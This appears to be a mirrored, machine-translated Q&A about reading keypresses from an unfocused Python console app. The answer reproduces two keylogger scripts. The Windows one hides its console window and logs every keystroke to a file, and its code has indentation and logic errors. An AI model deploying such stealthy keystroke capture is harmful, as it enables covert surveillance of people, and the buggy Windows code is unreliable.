簡體   English   中英

即使控制台應用程序不是Python中的重點應用程序,也如何獲取輸入

[英]How to take input even when the console app is not the focused one in Python

import pyperclip
text = input("Enter the text: ")
y = -2
def PrintAndWait(x):
    global y
    print(text[y+2:x+1], end="")
    pyperclip.copy(text[y+2:x+1])
    waitingForEnter = input() 
    y = x


for x in range (0,len(text)):
    if text[x]  == "." or text[x]  == "?" or text[x]  == "!":
        PrintAndWait(x)

我制作了這個應用程序,它可以接收文本並分解為句子,並在鍵盤有任何輸入時一次將句子發送到剪貼板。 我怎樣才能做到這一點呢,但是當我按下一個鍵但控制台沒有聚焦時(我是說我沒有直接寫進去)?

我想這樣做,以便一次可以將一個較大的文本發送到一個對話中。

除非您編寫一個直接從OS級別的鍵盤緩沖區偵聽的腳本(例如,鍵盤記錄器),否則無法使用input()來實現。

是一個很有前途的教程,教您如何做這樣的事情(盡管我還沒有親自嘗試過)。

視窗

# Python code for keylogger 
# to be used in windows 
import win32api 
import win32console 
import win32gui 
import pythoncom, pyHook 

win = win32console.GetConsoleWindow() 
win32gui.ShowWindow(win, 0) 

def OnKeyboardEvent(event): 
    if event.Ascii==5: 
        _exit(1) 
    if event.Ascii !=0 or 8: 
    #open output.txt to read current keystrokes 
        f = open('c:\output.txt', 'r+') 
        buffer = f.read() 
        f.close() 
    # open output.txt to write current + new keystrokes 
        f = open('c:\output.txt', 'w') 
        keylogs = chr(event.Ascii) 
        if event.Ascii == 13: 
        keylogs = '/n'
        buffer += keylogs 
        f.write(buffer) 
        f.close() 
# create a hook manager object 
hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
# set the hook 
hm.HookKeyboard() 
# wait forever 
pythoncom.PumpMessages() 

的Linux

# Python code for keylogger 
# to be used in linux 
import os 
import pyxhook 

# This tells the keylogger where the log file will go. 
# You can set the file path as an environment variable ('pylogger_file'), 
# or use the default ~/Desktop/file.log 
log_file = os.environ.get( 
    'pylogger_file', 
    os.path.expanduser('~/Desktop/file.log') 
) 
# Allow setting the cancel key from environment args, Default: ` 
cancel_key = ord( 
    os.environ.get( 
        'pylogger_cancel', 
        '`'
    )[0] 
) 

# Allow clearing the log file on start, if pylogger_clean is defined. 
if os.environ.get('pylogger_clean', None) is not None: 
    try: 
        os.remove(log_file) 
    except EnvironmentError: 
       # File does not exist, or no permissions. 
        pass

#creating key pressing event and saving it into log file 
def OnKeyPress(event): 
    with open(log_file, 'a') as f: 
        f.write('{}\n'.format(event.Key)) 

# create a hook manager object 
new_hook = pyxhook.HookManager() 
new_hook.KeyDown = OnKeyPress 
# set the hook 
new_hook.HookKeyboard() 
try: 
    new_hook.start()         # start the hook 
except KeyboardInterrupt: 
    # User cancelled from command line. 
    pass
except Exception as ex: 
    # Write exceptions to the log file, for analysis later. 
    msg = 'Error while catching events:\n  {}'.format(ex) 
    pyxhook.print_err(msg) 
    with open(log_file, 'a') as f: 
        f.write('\n{}'.format(msg)) 

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM